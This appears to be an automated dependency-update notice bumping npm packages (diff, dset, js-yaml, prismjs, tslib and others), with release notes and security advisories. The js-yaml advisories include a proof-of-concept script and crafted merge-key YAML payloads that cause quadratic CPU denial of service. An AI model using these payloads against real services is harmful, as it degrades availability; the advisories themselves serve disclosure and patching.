โ๏ธ convert-source-map (indirect, 1.9.0 โ 2.0.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 5 commits:
โ๏ธ diff (indirect, 5.1.0 โ 8.0.4) ยท Repo
Security Advisories ๐จ
๐จ jsdiff has a Denial of Service vulnerability in parsePatch and applyPatch
Impact
Attempting to parse a patch whose filename headers contain the line break characters
\r,\u2028, or\u2029can cause theparsePatchmethod to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.Applications are therefore likely to be vulnerable to a denial-of-service attack if they call
parsePatchwith a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when callingparsePatchon a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).The
applyPatchmethod is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string usingparsePatch. Other methods of the library are unaffected.Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take
parsePatchO(nยณ) time to parse.Patches
All vulnerabilities described are fixed in v8.0.3.
Workarounds
If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters:
\r,\u2028, or\u2029.References
PR that fixed the bug: #649
CVE Notes
Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to
parsePatchcan cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.
๐จ jsdiff has a Denial of Service vulnerability in parsePatch and applyPatch
Impact
Attempting to parse a patch whose filename headers contain the line break characters
\r,\u2028, or\u2029can cause theparsePatchmethod to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.Applications are therefore likely to be vulnerable to a denial-of-service attack if they call
parsePatchwith a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when callingparsePatchon a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).The
applyPatchmethod is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string usingparsePatch. Other methods of the library are unaffected.Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take
parsePatchO(nยณ) time to parse.Patches
All vulnerabilities described are fixed in v8.0.3.
Workarounds
If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters:
\r,\u2028, or\u2029.References
PR that fixed the bug: #649
CVE Notes
Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to
parsePatchcan cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ dset (indirect, 3.1.2 โ 3.1.4) ยท Repo
Security Advisories ๐จ
๐จ dset Prototype Pollution vulnerability
Versions of the package dset before 3.1.4 are vulnerable to Prototype Pollution via the dset function due improper user input sanitization. This vulnerability allows the attacker to inject malicious object property using the built-in Object property proto, which is recursively assigned to all the objects in the program.
Release Notes
3.1.3
Patches
Full Changelog: v3.1.2...v3.1.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 4 commits:
โ๏ธ fraction.js (indirect, 4.2.0 โ 5.3.4) ยท Repo ยท Changelog
โ๏ธ github-slugger (indirect, 1.5.0 โ 2.0.0) ยท Repo ยท Changelog
Release Notes
2.0.0
What's Changed
- Use ESM by @wooorm in #43
breaking: please read this guide- Add types by @wooorm in #44
breaking: tiny chance of breaking, use a new version of TS and itโll workFull Changelog: v1.5.0...2.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 11 commits:
โ๏ธ hast-util-from-parse5 (indirect, 7.1.0 โ 8.0.3) ยท Repo
Release Notes
8.0.3
- 6fe681d Update
property-informationFull Changelog: 8.0.2...8.0.3
8.0.2
Miscellaneous
Types
Full Changelog: 8.0.1...8.0.2
8.0.1
Fix
- 3c42476 Fix type of optional option
Full Changelog: 8.0.0...8.0.1
8.0.0
Change
- cc4e5c5 Update
@types/hast, utilities
migrate: update too- 0c76e8a Change to require Node.js 16
migrate: update too- a227695 Change to use
exports
migrate: donโt use private APIs- 81cde21 Remove support for passing
filedirectly
migrate:x->{file: x}Types
- c6bd56c Add types of
datafields
expect values to be typed :)Full Changelog: 7.1.2...8.0.0
7.1.2
Fix
- 78ff3b5 Fix some props
Full Changelog: 7.1.1...7.1.2
7.1.1
Misc
- 00413a1 3bd13d7 Add improved docs
- ab3559e Add export of
Spacetype- 5e813f0 b344419 Update types and tests for changes in
parse5Full Changelog: 7.1.0...7.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 50 commits:
8.0.3Refactor docsUpdate `property-information`Update dev-dependencies8.0.2Refactor typesRefactor to use `@import`sAdd declaration mapsRefactor `package.json`Remove license yearRefactor `.editorconfig`Update ActionsAdd `.tsbuildinfo` to `.gitignore`Update dev-dependenciesUpdate `hastscript`8.0.1Fix type of optional option8.0.0Change to require Node.js 16Change to use `exports`Refactor docsAdd types of `data` fieldsRemove support for passing `file` directlyRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`, utilitiesUpdate dev-dependencies7.1.2Fix some propsFix internal type error7.1.1Fix typoAdd improved docsAdd tests for exposed identifiersAdd export of `Space` typeUse Node test runnerRefactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesFix tests for change in `parse5`Update dev-dependenciesAdd reference to `hast-util-from-html`Add improved docsRefactor code-styleUpdate types and tests for changes in `parse5`Update dev-dependenciesadd `ignore-scripts` to `.npmrc`Update `unist-util-visit`
โ๏ธ hast-util-parse-selector (indirect, 3.1.0 โ 4.0.0) ยท Repo
Release Notes
4.0.0
Change
- b64572f Update
@types/hast
migrate: update too- 7075bc4 Change to require Node.js 16
migrate: update too- 6363e82 Remove support for TS 4.1
migrate: update too- 339b417 Change to use
exports
migrate: donโt use private APIsFull Changelog: 3.1.1...4.0.0
3.1.1
Misc
- d2bf5af Add improved docs
Full Changelog: 3.1.0...3.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 30 commits:
4.0.0Change to require Node.js 16Change to use `exports`Refactor docsRefactor code-styleRemove support for TS 4.1Refactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`Update dev-dependenciesUse Node 16 in Actions3.1.1Fix typoAdd improved docsAdd tests for exposed identifiersRefactor to move implementation to `lib/`Use Node test runnerRefactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd missing sectionAdd improved docsUpdate dev-dependenciesAdd `ignore-scripts` to `.npmrc`Update `xo`Update `tsd`Add `strict` to `tsconfig.json`Refactor code-styleUse `pull_request_target` in bb
โ๏ธ hastscript (indirect, 7.1.0 โ 9.0.1) ยท Repo
Release Notes
9.0.1
- 91f71e3 Update
property-informationFull Changelog: 9.0.0...9.0.1
9.0.0
Breaking
- 8a5f97e Add better custom element support by tightening overload detection
(tiny chance of breaking, youโre most likely fine)
8.0.0
change
- 04a40a5 Update
@types/hast, utilities
migrate: update too- 234405b Change to require Node.js 16
migrate: update too- 7e27d65 Remove
hastscript/html(auto runtime) fromexports
migrate: usehastscript- 6976cbb Remove
hastscript/html,hastscript/svgfromexports
migrate: usehastscriptFull Changelog: 7.2.0...8.0.0
7.2.0
Add
- f06247f Add JSX dev runtime
Misc
Full Changelog: 7.1.0...7.2.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 49 commits:
9.0.1Refactor docsFix TypeScript generating broken typesRefactor code-styleRefactor `package.json`Remove license yearRefactor `.prettierignore`Refactor `.editorconfig`Add `.tsbuildinfo` to `.gitignore`Update actionsUpdate `property-information`Update dev-dependencies9.0.0Add better custom element support by tightening overload detectionUpdate dev-dependencies8.0.0Add script to buildChange to require Node.js 16Refactor docsRefactor to reorganize filesRemove `hastscript/html` (auto runtime) from `exports`Remove `hastscript/html`, `hastscript/svg` from `exports`Refactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`, utilitiesUpdate dev-dependenciesUpdate `xo`Fix typoAdd some linksRefactor tests for exposed identifiersRemove exampleUse Node 16 in ActionsFix typosFix typo7.2.0Refactor phrasingAdd improved docsAdd JSX dev runtimeAdd tests for exposed identifiersAdd more docs to typesAdd `tsd` backUse Node test runnerRefactor code-styleRemove superfluous dev-dependenciesUpdate `tsconfig.json`Update ActionsRemove classic Babel testUpdate dev-dependencies
โ๏ธ js-yaml (indirect, 3.14.1 โ 4.3.0) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ js-yaml: YAML merge-key chains can force quadratic CPU consumption
Impact
js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aNFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`)Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
๐จ js-yaml: YAML merge-key chains can force quadratic CPU consumption
Impact
js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aNFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`)Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
๐จ JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases
Summary
A crafted YAML document can trigger algorithmic CPU exhaustion in
js-yamlmerge-key processing (<<) by repeating the same alias many times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.Details
The issue is in merge handling inside
lib/loader.js:
storeMappingPair(...)iterates every element of a merge sequence when key tag istag:yaml.org,2002:merge.- For each element, it calls
mergeMappings(...).mergeMappings(...)computesObject.keys(source)and performs_hasOwnProperty.call(destination, key)checks for each key.When input is of the form:
a: &a {k0:0, k1:0, ..., kK:0}
b: {<<: [*a, *a, *a, ... repeated M times ...]}
all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.
Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.
Relevant code path:
lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge')
lib/loader.js mergeMappings(...)Root cause
File: lib/loader.js
Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,
valueNode, startLine, startLineStart, startPos)
Lines: ~359-366if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { mergeMappings(state, _result, valueNode[index], overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } }When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element
is handed to mergeMappings() without deduplication. mergeMappings() then doessourceKeys = Object.keys(source); for (index = 0; index < sourceKeys.length; index += 1) { key = sourceKeys[index]; if (!_hasOwnProperty.call(destination, key)) { setProperty(destination, key, source[key]); overridableKeys[key] = true; } }Every alias reference in the sequence resolves (by design) to the SAME object
via state.anchorMap. After the first merge, every subsequent merge of that same
reference is a pure no-op semantically, but still performs:
- one Object.keys(source) call (O(K))
- K _hasOwnProperty.call checks on the destination
Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final
object and all observable side effects are identical to a single merge.YAML semantics for
<<:are idempotent and commutative over duplicate sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.PoC
Environment:
js-yaml version: 4.1.1
Node.js: v24.5.0
Platform: arm64 macOS (reproduced consistently)
Reproduction script:
Create many keys in one anchored map (&a).
Merge that same alias repeatedly via <<: [*a, *a, ...].
Measure parse time and compare with control payload using single merge (<<: *a).
Observed repeated runs (same machine):
K=M=1000, input 9,909 bytes: ~33โ36 ms
K=M=2000, input 20,909 bytes: ~121โ123 ms
K=M=4000, input 42,909 bytes: ~524โ537 ms
K=M=6000, input 64,909 bytes: ~1,608โ1,829 ms
K=M=8000, input 86,909 bytes: ~3,395โ3,565 ms
Control (single merge, similar key counts):
K=2000: ~1โ2 ms
K=4000: ~3 ms
K=8000: ~5 ms
Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.Impact
This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).
Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.Suggested fix:
Dedupe the merge source list by reference before invoking mergeMappings. Any of
the following are minimal and preserve YAML 1.1 merge semantics:dedupe in storeMappingPair:
if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { var seen = new Set(); for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { var src = valueNode[index]; if (seen.has(src)) continue; // idempotent; skip redundant alias seen.add(src); mergeMappings(state, _result, src, overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } }
๐จ JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases
Summary
A crafted YAML document can trigger algorithmic CPU exhaustion in
js-yamlmerge-key processing (<<) by repeating the same alias many times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.Details
The issue is in merge handling inside
lib/loader.js:
storeMappingPair(...)iterates every element of a merge sequence when key tag istag:yaml.org,2002:merge.- For each element, it calls
mergeMappings(...).mergeMappings(...)computesObject.keys(source)and performs_hasOwnProperty.call(destination, key)checks for each key.When input is of the form:
a: &a {k0:0, k1:0, ..., kK:0}
b: {<<: [*a, *a, *a, ... repeated M times ...]}
all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.
Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.
Relevant code path:
lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge')
lib/loader.js mergeMappings(...)Root cause
File: lib/loader.js
Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,
valueNode, startLine, startLineStart, startPos)
Lines: ~359-366if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { mergeMappings(state, _result, valueNode[index], overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } }When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element
is handed to mergeMappings() without deduplication. mergeMappings() then doessourceKeys = Object.keys(source); for (index = 0; index < sourceKeys.length; index += 1) { key = sourceKeys[index]; if (!_hasOwnProperty.call(destination, key)) { setProperty(destination, key, source[key]); overridableKeys[key] = true; } }Every alias reference in the sequence resolves (by design) to the SAME object
via state.anchorMap. After the first merge, every subsequent merge of that same
reference is a pure no-op semantically, but still performs:
- one Object.keys(source) call (O(K))
- K _hasOwnProperty.call checks on the destination
Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final
object and all observable side effects are identical to a single merge.YAML semantics for
<<:are idempotent and commutative over duplicate sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.PoC
Environment:
js-yaml version: 4.1.1
Node.js: v24.5.0
Platform: arm64 macOS (reproduced consistently)
Reproduction script:
Create many keys in one anchored map (&a).
Merge that same alias repeatedly via <<: [*a, *a, ...].
Measure parse time and compare with control payload using single merge (<<: *a).
Observed repeated runs (same machine):
K=M=1000, input 9,909 bytes: ~33โ36 ms
K=M=2000, input 20,909 bytes: ~121โ123 ms
K=M=4000, input 42,909 bytes: ~524โ537 ms
K=M=6000, input 64,909 bytes: ~1,608โ1,829 ms
K=M=8000, input 86,909 bytes: ~3,395โ3,565 ms
Control (single merge, similar key counts):
K=2000: ~1โ2 ms
K=4000: ~3 ms
K=8000: ~5 ms
Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.Impact
This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).
Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.Suggested fix:
Dedupe the merge source list by reference before invoking mergeMappings. Any of
the following are minimal and preserve YAML 1.1 merge semantics:dedupe in storeMappingPair:
if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { var seen = new Set(); for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { var src = valueNode[index]; if (seen.has(src)) continue; // idempotent; skip redundant alias seen.add(src); mergeMappings(state, _result, src, overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } }
๐จ js-yaml has prototype pollution in merge (<<)
Impact
In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (
__proto__). All users who parse untrusted yaml documents may be impacted.Patches
Problem is patched in js-yaml 4.1.1 and 3.14.2.
Workarounds
You can protect against this kind of attack on the server by using
node --disable-proto=deleteordeno(in Deno, pollution protection is on by default).References
https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html
๐จ js-yaml has prototype pollution in merge (<<)
Impact
In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (
__proto__). All users who parse untrusted yaml documents may be impacted.Patches
Problem is patched in js-yaml 4.1.1 and 3.14.2.
Workarounds
You can protect against this kind of attack on the server by using
node --disable-proto=deleteordeno(in Deno, pollution protection is on by default).References
https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html
Release Notes
4.3.0 (from changelog)
Security
- Backported
maxTotalMergeKeysoption.
4.2.0 (from changelog)
Added
- Added
docs/safety.mdwith notes about processing untrusted YAML.- Added
maxDepth(100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.- Added
maxMergeSeqLength(20) loader option. Not a problem aftermergefix, but an additional restriction for safety.- Added sourcemaps to
dist/builds.Changed
- Stop resolving numbers with underscores as numeric scalars, #627.
- Switched dev toolchains to Vite / neostandard.
- Updated demo.
- Reorganized tests.
dist/files are no longer kept in the repository.Fixed
- Fix parsing of properties on the first implicit block mapping key, #62.
- Fix trailing whitespace handling when folding flow scalar lines, #307.
- Reject top-level block scalars without content indentation, #280.
- Ensure numbers survive round-trip, #737.
- Fix test coverage for issue #221.
- Fix flow scalar trailing whitespace folding, #307.
- Fix digits in YAML named tag handles.
Security
- Fix potential DoS via quadratic complexity in merge - deduplicate repeated elements (makes sense for malformed files > 10K).
4.1.1 (from changelog)
Security
- Fix prototype pollution issue in yaml merge (<<) operator.
4.1.0 (from changelog)
Added
- Types are now exported as
yaml.types.XXX.- Every type now has
optionsproperty with original arguments kept as they were (seeyaml.types.int.optionsas an example).Changed
Schema.extend()now keeps old type order in case of conflicts (e.g. Schema.extend([ a, b, c ]).extend([ b, a, d ]) is now ordered asabcdinstead ofcbad).
4.0.0 (from changelog)
Changed
- Check migration guide to see details for all breaking changes.
- Breaking: "unsafe" tags
!!js/function,!!js/regexp,!!js/undefinedare moved to js-yaml-js-types package.- Breaking: removed
safe*functions. Useload,loadAll,dumpinstead which are all now safe by default.yaml.DEFAULT_SAFE_SCHEMAandyaml.DEFAULT_FULL_SCHEMAare removed, useyaml.DEFAULT_SCHEMAinstead.yaml.Schema.create(schema, tags)is removed, useschema.extend(tags)instead.!!binarynow always mapped toUint8Arrayon load.- Reduced nesting of
/libfolder.- Parse numbers according to YAML 1.2 instead of YAML 1.1 (
01234is now decimal,0o1234is octal,1:23is parsed as string instead of base60).dump()no longer quotes:,[,],(,)except when necessary, #470, #557.- Line and column in exceptions are now formatted as
(X:Y)instead ofat line X, column Y(also present in compact format), #332.- Code snippet created in exceptions now contains multiple lines with line numbers.
dump()now serializesundefinedasnullin collections and removes keys withundefinedin mappings, #571.dump()withskipInvalid=truenow serializes invalid items in collections as null.- Custom tags starting with
!are now dumped as!taginstead of!<!tag>, #576.- Custom tags starting with
tag:yaml.org,2002:are now shorthanded using!!, #258.Added
- Added
.mjs(es modules) support.- Added
quotingTypeandforceQuotesoptions for dumper to configure string literal style, #290, #529.- Added
styles: { '!!null': 'empty' }option for dumper (serializes{ foo: null }as "foo:"), #570.- Added
replaceroption (similar to option in JSON.stringify), #339.- Custom
Tagcan now handle all tags or multiple tags with the same prefix, #385.Fixed
- Astral characters are no longer encoded by
dump(), #587.- "duplicate mapping key" exception now points at the correct column, #452.
- Extra commas in flow collections (e.g.
[foo,,bar]) now throw an exception instead of producing null, #321.__proto__key no longer overrides object prototype, #164.- Removed
bower.json.- Tags are now url-decoded in
load()and url-encoded indump()(previously usage of custom non-ascii tags may have led to invalid YAML that can't be parsed).- Anchors now work correctly with empty nodes, #301.
- Fix incorrect parsing of invalid block mapping syntax, #418.
- Throw an error if block sequence/mapping indent contains a tab, #80.
3.14.2 (from changelog)
Security
- Backported v4.1.1 fix to v3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ jsonc-parser (indirect, 2.3.1 โ 3.3.1) ยท Repo ยท Changelog
Release Notes
3.3.1
Changes:
- #92: remove exports, prepare 3.3.1
This list of changes was auto generated.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 42 commits:
remove exports, prepare 3.3.1 (#92)prepare 3.3.0 (#90)Allow the visitor to cease callbacks (#88)Bump braces from 3.0.2 to 3.0.3 (#89)prepare 3.2.1 (#84)perf(format): internalize breaklines and spaces as much as possible (#81)update dependencies (#79)ci: add batch (#75)delete pr-chat action (#72)add publish pipeline & cleanup ci (#71)set `preserveConstEnums: true`, switch to es2020 (#70)sort edits with applyEdits (#69)An additional parameter keepLines has been added into the formatting options which allows to keep the original line formatting (#66)Microsoft mandatory file (#64)Merge pull request #62 from Marcono1234/marcono1234/visitor-json-pathMerge pull request #44 from stoplightio/get-location-incomplete-property-pairMerge pull request #61 from Marcono1234/marcono1234/update-readmeAdd JSON path supplier parameter to visitor functionsFix outdated Travis CI badgeUpdate API section in READMEmore spec polish (for #53)Non-standard whitespace handling. Fixes #46Improve spec areound edits. For #53.Merge pull request #47 from Marcono1234/patch-1update dependenciesMerge pull request #54 from urish/patch-1Update .travis.ymlreadme: improve ParseOptions documentationConsistently use 4 spaces as indentation for README code blocksAdd missing type definition for `JSONPath` to READMEfindNodeAtLocation does not handle incomplete property pairedit tests: use modifyMerge pull request #43 from dangrussell/patch-1Add file extenstion to typings property value3.0.0Can we have a "insertFinalNewline" option in "FormattingOptions"? Fixes #11update readmeFormatting valid json content is causing an invalid json. Fixes #33Add yarn.lock to gitignoreupdate dependenciesparseTree() returns `undefined` on empty string input. Fixes #40update npmignore
โ๏ธ magic-string (indirect, 0.25.9 โ 0.30.21) ยท Repo ยท Changelog
Release Notes
0.30.21
No significant changes
ย ย ย ย View changes on GitHub
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ prismjs (indirect, 1.29.0 โ 1.30.0) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ PrismJS DOM Clobbering vulnerability
Prism (aka PrismJS) through 1.29.0 allows DOM Clobbering (with resultant XSS for untrusted input that contains HTML but does not directly contain JavaScript), because document.currentScript lookup can be shadowed by attacker-injected HTML elements.
Release Notes
1.30.0
What's Changed
- check that
currentScriptis set by a script tag by @lkuechler in #3863New Contributors
- @lkuechler made their first contribution in #3863
Full Changelog: v1.29.0...v1.30.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ property-information (indirect, 6.2.0 โ 7.2.0) ยท Repo
Release Notes
7.2.0
Add
- cb86e8b Add new properties
Fix
Full Changelog: 7.1.0...7.2.0
7.1.0
Full Changelog: 7.0.0...7.1.0
7.0.0
Change
- 7aa0142 Change to require Node.js 16
migrate: update too- d95d0e5 Add export map
migrate: donโt use private APIsTypes
- 632c933 Add declaration maps
Full Changelog: 6.5.0...7.0.0
6.5.0
- 5eb7b1a Add
shadowRootClonable,writingSuggestionsFull Changelog: 6.4.1...6.5.0
6.4.1
- 172b09b Fix candidate
captureto be stringFull Changelog: 6.4.0...6.4.1
6.4.0
- 4f47923 Add
onBeforeToggle,shadowRootDelegatesFocus,shadowRootModeFull Changelog: 6.3.0...6.4.0
6.3.0
Data
- d2b13fb Add
blocking,fetchPriority,inert,popover, etcMiosc
- f66247a Update derivative work license for react
by @AndyScherzinger in #17Full Changelog: 6.2.0...6.3.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 42 commits:
7.2.0Add `number` for `colSpan`Update dev-dependenciesAdd new propertiesUpdate actionsAdd missing JSDoc descriptionUpdate dev-dependencies7.1.0Change `hidden` to `overloadedBoolean`7.0.0Change to require Node.js 16Add export mapRefactor code-styleRefactor docsRefactor code-styleAdd better docs to typesAdd declaration mapsRefactor `tsconfig.json`Refactor `package.json`Remove license yearRefactor `.prettierignore`Add `ignore-scripts` to `.npmrc`Refactor `.editorconfig`Update dev-dependenciesUpdate actionsAdd `.tsbuildinfo` to `.gitignore`Fix typo in upstream react dataUpdate dev-dependencies6.5.0Update dev-dependenciesAdd `shadowRootClonable`, `writingSuggestions`Update dev-dependencies6.4.1Fix candidate `capture` to be stringUpdate dev-dependencies6.4.0Add `onBeforeToggle`, `shadowRootDelegatesFocus`, `shadowRootMode`Update dev-dependencies6.3.0Update derivative work license for reactAdd `blocking`, `fetchPriority`, `inert`, `popover`, etcUpdate dev-dependencies
โ๏ธ shiki (indirect, 0.11.1 โ 4.3.1) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ tslib (indirect, 2.4.1 โ 2.8.1) ยท Repo
Release Notes
2.8.1
What's Changed
- Fix publish workflow by @andrewbranch in #271
- Include non-enumerable keys in __importStar helper by @rbuckton in #272
- Remove use of ES2015 syntax by @andrewbranch in #275
Full Changelog: v2.8.0...v2.8.1
2.8.0
What's Changed
- Validate export structure of every entrypoint by @andrewbranch in #269
- Add rewriteRelativeImportExtension helper by @andrewbranch in #270
Full Changelog: v2.7.0...v2.8.0
2.7.0
What's Changed
- Implement deterministic collapse of
awaitinawait usingby @rbuckton in #262- Use global 'Iterator.prototype' for downlevel generators by @rbuckton in #267
Full Changelog: v2.6.3...v2.7.0
2.6.3
What's Changed
Full Changelog: v2.6.2...v2.6.3
2.6.2
What's Changed
- Fix path to
exports["module"]["types"]by @andrewbranch in #217Full Changelog: v2.6.1...v2.6.2
2.6.1
What's Changed
- Allow functions as values in __addDisposableResource by @rbuckton in #215
- Stop using es6 syntax in the es6 file by @andrewbranch in #216
